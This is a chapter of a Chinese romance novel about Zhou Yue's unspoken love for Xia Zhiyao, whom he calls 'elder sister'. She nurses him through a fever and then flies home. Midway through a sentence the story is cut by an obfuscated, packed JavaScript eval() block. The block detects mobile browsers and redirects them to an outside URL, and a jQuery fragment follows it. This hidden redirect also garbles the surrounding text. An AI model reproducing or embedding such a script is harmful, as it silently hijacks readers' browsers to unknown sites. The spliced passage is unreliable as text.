晚风拂过街角，混着些刚被夕阳吻过的温热味道，像是从白天一路缓慢沉淀下来的余韵。
周越侧头看了她一眼，眼神柔和，声音低低的，带着点不动声色的关心与试探：“你想吃什么？”
夏知遥抬手把被风吹乱的发丝别到耳后，指尖动作不疾不徐，认真感受这份静谧的夜色：“好久没吃蟹腿了。”
语气平静随意，却又透着点久违的温柔倦意，带着一种“终于可以放下”的松弛感，像是连日奔波后的暂时靠岸，不那么防备，也不那么紧绷。
两个人开了20分钟车，到了夏知遥说的那家Cajun风味海鲜餐厅，灯光是柔和的暖橘色，店里飘着香料和蒜香混合的味道。
炖雪蟹腿、小龙虾和玉米端上来时热气腾腾，酱汁泛着诱人的油光，一切都鲜活得像刚从海水里捞起来。
夏知遥卷起袖子，戴上手套，动作利索地剥虾，一边剥一边抬眼看他：“你不是不太吃辣吗？”
周越轻笑了一声，沾了点酱汁的指尖点了点她的手背：“跟你一起，辣也挺香的。”
夏知遥没说话，只是抬眸看了他一眼，嘴角悄悄勾起一个若有若无的弧度。那一刻，灯光在她眼底晃动，像极了海面上粼粼的波光，轻柔、安静，却藏着细碎的心跳声。
夜幕降临，餐厅里灯光暖黄，窗外街灯斑驳，室内热气蒸腾，人声鼎沸，混着海鲜的香气，热闹中透着一丝惬意。
起初，周越还兴致不错，陪着她边吃边聊，不时剥好虾壳放到她盘边，还一边低声吐槽螃蟹刀太钝，语气轻松，话里带着几分惯有的调侃。
“明天下午的航班回去？有人接吗？”他随口问，眼神却一直落在她眉眼间，像在等一个答案。
夏知遥咬了一口玉米，随意点头：“嗯，我男朋友。”
周越动作一顿，语气不变地接了句：“男朋友？”
“是啊，”她语气轻描淡写，带着点吃饱喝足后的松弛感，“我大学同学。”
周越挑了挑眉，像是随口一问，又像早就等着这句：“长什么样的？”
夏知遥没想太多，低头从手机里翻出一张照片递给他：“就这人。”
照片上，两人像是在参加什么正式场合，背景是灯光璀璨的展厅，他们都穿着正装，她一身西装裙，身旁的男人三十出头，整个人透着一股温文沉稳的气质。
那张合影拍得光线极好，两人都站得很近，男人个子不低，和夏知遥站在一起，比她还高出一截，画面看起来意外地般配。
周越盯着那张照片看了两秒，眼神像被什么罩住了似的，没再说话,他把手机还给她，低头默默剥虾，手指却慢了半拍。
“原来你喜欢这种类型。”他说，语气轻得像一片掠过海面的风。
“什么类型？”夏知遥看他一眼，眉头轻挑。
他没回，只是敷衍地笑了一下，把剥好的虾放到她盘边：“没事，随便说说。”
从那之后，周越的话就明显少了。原本热络的谈话像是被悄无声息地抽了气，只剩餐具轻响和人群喧嚣。他的动作越来越慢，眉心悄悄皱起，额角也浮起了细密的汗珠。
夏知遥察觉到异样，筷子一顿，抬眼盯着他：“你怎么了？”
周越抬起眼睛，手指按住太阳穴，嗓音发哑：“没事……可能有点闷。”
他说得轻描淡写，但唇色却白得刺眼，连呼吸都透着不对劲。夏知遥眉心微蹙，身子前倾，伸手探上他额头，那一触，指尖下是滚烫一片。
她脸色立刻变了，眼神猛地沉下，语气比刚才低了几分：“你发烧了。”
周越咬了咬牙，撑着桌子试图站起来，动作却带着不易察觉的晃动：“能开车，我真没事。”
他努力让自己看起来一如往常，从容、不动声色，可身形还是不由自主地往旁边偏了一下，衬衣后背已被汗水浸湿，贴在脊背上，冷得发黏。
夏知遥根本不给他逞强的机会，利落起身，拎起包，语气冷静干脆，却压不住眼底的那丝火气：“别废话，走，先送你回家。”
她已经转身，步伐干净利落，毫不犹豫。而她的果断，也让他没再说一个字，只是撑着桌沿站在原地，眼前一阵发黑，喉咙干得像烧过的烟纸，连呼吸都透着热意。
她头也不回，像过去无数次那样替他做了决定，可这一次，他突然有点想知道，
如果他真的倒在她怀里，她会不会，也抱住他？
外头不知何时下起了雨，雨点砸在车窗上，噼里啪啦的，像有人拿着细密的鼓槌敲打着神经，密集、急促，让人心跳都变得紊乱。
周越靠在副驾驶上，眉头紧皱，呼吸沉重，整个人明显开始意识涣散。他像陷在一团模糊的热雾里，眼前的灯光忽远忽近，思绪一会儿悬空，一会儿坠落。
夏知遥咬紧牙关，一路把车开得飞快。雨刷器来回扫着，风挡却仍被雨水模糊得像一双湿润又倔强的眼，情绪似乎快要从控制中溢出来。
车里一片死寂，只剩下发动机轰鸣与雨声撞击车窗的密响，把人困在一种近乎窒息的压迫里。
终于赶到周越的公寓，夏知遥半拖半扶着他上了楼。他身上的温度灼人，像捧着一团烧得正旺的火炭，每碰一下，都让人心里跟着一紧。
门一开，屋里的灯亮起那一刻，她终于彻底看清他，脸色烧得通红，额头渗汗，眼神迷离发飘，像是随时都会昏过去。他的衬衫领口早已湿透，整个人靠在她身上，烫得几乎无法触碰。
她将他安顿到床上，动作迅速又克制，一边飞快地翻找药品，一无所获，柜子里空空如也。
夏知遥咬了咬牙，低声骂了句：“你到底是怎么活的？”她拧开水龙头，把干净毛巾浸湿，拧干，重重地敷在他额头和脖颈上，力道不重不轻，带着一股隐忍的焦躁。
她按着毛巾，另一只手轻轻拍着他脸颊，语气低哑却急切：“先躺着别动，我回去拿药，很快。”
周越迷迷糊糊地点头，声音哑得像被炭灰掩住：“……嗯……”说完，像是终于放弃了什么，缓缓闭上了眼，唇角却微微弯了一下，带着一种失控中的妥协。
夏知遥头也不回地冲出门，外面的雨下得更急了，仿佛整片夜色都砸在她肩头，她一路奔回酒店，鞋子早已湿透，雨水从发梢滑进领口，后背冰凉刺骨，但她一步未停。
冲进房间，拉开行李箱，动作急得近乎狼狈，翻出事先准备好的常备药、退烧贴和酒精棉球。她捏着那几盒药站起身，指尖还在微微发抖，又顶着瓢泼大雨折返回去。
电梯里，她湿透的头发贴在脸侧，喘息急促，指尖捏着药盒，冰凉中夹杂着一股说不清的躁热。
回去之后，卧室里只亮着一盏昏黄的小灯，周越躺在那里，脸色烧得泛红，眉头紧皱，呼吸急促，像灼烧的风，胸膛剧烈起伏。
她顾不得擦身上的雨水，快步走过去，药瓶、退烧贴、矿泉水一股脑放在地上，蹲下身，掀开他额上的毛巾，温度仍然高得吓人。
“醒醒，周越。”她拍了拍他脸颊，声音压低，带着急躁的哄劝，周越的睫毛轻颤了一下，像是被什么拨动，终于迷迷糊糊睁开眼。那双眼布满红血丝，眼神空荡无焦，仿佛连现实都辨不清。
夏知遥一只手稳稳按住他的肩，另一只手熟练地撕开退烧贴，冰凉贴片贴上额头，他下意识皱了下眉，喉间发出一声低哑的闷哼。
“乖，把药吃了。”她轻声说着，语气像是顺着本能带出的旧习惯，压抑着的温柔中，有一丝熟悉得惊人的哄慰，像极了小时候他发烧时，她抱着他、拍着他背小声哄他：“乖，再喝一口。”
她倒了药片，又倒水，扶他靠在自己怀里，一只手托着后脑勺，另一只手拿着杯子，小心地送到他唇边。
他的身体烫得像团火，汗顺着鬓角滑落，打湿她的手臂。他低低喘着气，嗓音沙哑，连吐息都带着病态的黏滞。
他喝了几口，水沾湿唇角，夏知遥下意识伸手拭去，动作轻得像怕碰疼了他，就在她低头的一瞬，周越忽然抬手，牢牢抓住了她的手腕，那力道出奇地大，像在本能地攥住什么不肯松开。
周越在半梦半醒之间，低低地叫了一声：“……知遥姐……”声音轻哑，几不可闻，却像在她耳边生了根。
她怔怔地看着他，感受到被他攥着的那只手腕微微发麻，他额头满是汗，眉眼凌乱，唇角干裂，眼神混沌，却死死握着她的手，像在抓住最后一根救命的稻草。
那一刻，太多画面汹涌而至，背着小书包、跟在她身后喊“遥遥姐”的少年；那个雨天执拗地抱着她胳膊不肯松手的小孩；还有那个在病床上发着高烧，却攥着她衣角不放的弟弟。
她咬了咬牙，像要将心口的某处柔软强行压回去，片刻后，她慢慢抽回手，把他的手，一点一点重新塞进被子里。动作极轻，像是在和过去道别。
“没事，姐在这儿。”她低声哄着，语气温柔而沉稳，像是在哄一个睡不着的小孩，然后低头，继续帮他擦汗，眼尾泛红，却无声。
周越是在天色微亮时醒来的。嗓子干得发疼，浑身酸软，脑袋还隐隐发胀。他缓慢地眨了眨眼，意识一点点聚拢，睁眼的第一瞬，他就看见了她。
夏知遥就睡在自己身边，半侧着身，呼吸平稳，眉眼松开，一张苍白而静谧的侧脸，在微弱的光里像一幅安静的画。
那一瞬，周越仿佛被什么悄悄攥住了心口，微微收紧，他缓缓撑起身，每动一下骨节都像被烧过的肌肉牵扯着疼。他动作很轻，像
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669913|173106||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
怕惊醒某个极脆弱的梦，靠近了她。
灯光昏黄，空气里还有昨夜残留的热意。他伸出手，指尖停在她额前，轻轻落下，像是膜拜，又像是一次迟来的惩罚。他的手指缓缓滑过她的眉心、鼻梁，一直落到唇上。
指腹轻轻擦过那抹柔软的唇瓣，动作慢得仿佛时间被拉长了数倍。他像是怕弄碎她，又像是在惩罚自己，为什么直到此刻才敢靠近。
夏知遥睡得很沉，眉头偶尔轻轻一动，却没有醒来，周越望着她，眼神深得像一口没底的井，情绪在里面悄无声息地翻涌。太多太多，说不出口，也藏不住。
他知道，这一切都不该，这种小心翼翼的贪念，这种病后深夜的越界，从来不该出现在他们之间。
可他还是没能忍住，指尖一遍又一遍地描摹她的唇形，像要把这份柔软刻进骨头，藏进无人可触的深处。
只要她醒来，他就什么都不能再做，只能收回目光，收回指尖，笑着叫她一声“姐”，然后，装作什么都没发生。
夏知遥缓缓睁开眼，她揉了揉太阳穴，第一反应就是看他——抬手探了探他额头，温度已经降了下来，依旧残着些余热。
她拿起体温计，小心测量，37.8℃，不算全退，但比昨晚好了太多，看着他还在沉睡，眉头却仍微微皱着，呼吸细碎而急促，她终于稍稍松了口气。
她轻手轻脚地放□□温计，转身走进厨房，锅碗声极轻，像是怕吵醒屋内熟睡的人。她烧水、翻找冰箱，食材不多，米、鸡蛋、几棵青菜，还有两根已经软了的胡萝卜。
她洗米、煮粥，水沸后香气缓缓升起，她又顺手煎了鸡蛋，炒了青菜。所有动作都干净利落，但每一步都刻意压低了声音。
小厨房弥漫着热气，窗外的城市已然苏醒，车鸣、人声透过半开的窗缝传入屋内，显得生活感十足，和屋内这份悄无声息的照顾，形成鲜明对比。
她端着一碗热粥回来，蹲在他身边，轻轻拍了拍他肩膀：“醒了吗？先吃点东西。”
周越缓缓睁开眼，眼里还残留着病后的迷茫和虚弱，他看见她的那一瞬，怔了怔，夏知遥把粥递到他手边，又替他喂了一颗药，语气温柔却不容拒绝：“吃完再睡。”
周越接过碗，指尖触到她的手，温热清晰。他低头一口一口喝着粥，每一口都热得发烫，而心口却凉得发麻。
吃完药，她站起身：“你再休息一会儿。”
周越靠着沙发，目光始终不肯离开她，嗓音干哑：“你呢？”
夏知遥轻轻一笑，拿毛巾替他擦了擦额角的汗，动作温柔极了，像在哄一个病中的孩子，“我下午有航班。”她顿了顿，“要回去了。”
周越没再说话，只是垂下眼帘，指尖缓缓收紧，握着那块还带着她温度的毛巾，像攥住了什么，又什么都留不住。
夏知遥开始收拾碗筷，动作一贯有条不紊。她进厨房烧水，倒进保温瓶，又折返回来，走到窗边，将窗缝仔细关好。顺手把沙发上的毛巾叠起，放在一角，一切都整理得干净妥帖，像她从未真正属于这个空间。
她提起包，转过身朝他看了一眼，目光平静，却像隔着一层无形的玻璃，，她轻轻一笑：“好好休息，别乱跑。”
周越望着她，喉结轻轻滚动，眼里藏着太多话。可最终，他只是低低地应了一声：“嗯。”
她转身离开，脚步一如既往地干脆、轻快，像是怕再多停留一秒，自己也会舍不得，门被轻轻带上，声音极轻，却像什么在他胸腔里“咔哒”一声，彻底合拢了。
房间一下子静了下来，只剩下他一个人，他闭了闭眼，指尖仍紧紧抓着那条早就凉透的毛巾，心里是一片潮湿的沉寂。
她还是走了，和以往一样，利落、干净，从不给人靠近她软肋的机会。
他坐在沙发边，一动不动，毛巾还握在手里，指尖一点点收紧，像要把所有的疼痛都碾进掌心。
呼吸一口一口地拉扯着胸口，每一下都像撕裂，心脏钝痛得像被生生剜开，血流了一地，却连哼都不敢。
他闭上眼，在极致的沉默里，缓缓地告诉自己：够了，她已经有了她的生活，她的世界。无论他在原地疼成什么样，她都不会回头。
所以，够了，周越深吸一口气，慢慢松开手，把那条毛巾一丝不苟地叠好，放到枕边，动作克制得像在收拾一场无声的葬礼。
他低头，在心里用尽全部力气说出一句话：到此为止了。
他要放过自己。从这一刻起，周越把所有关于她的温柔、眷恋、偏执和疼痛，一寸一寸藏回身体最深处。
只有他自己知道，那些情绪不会消失。它们会像地层深处的暗流，在每一个无人知晓的夜晚悄悄翻涌、滚烫，却永远不会再浮上海面。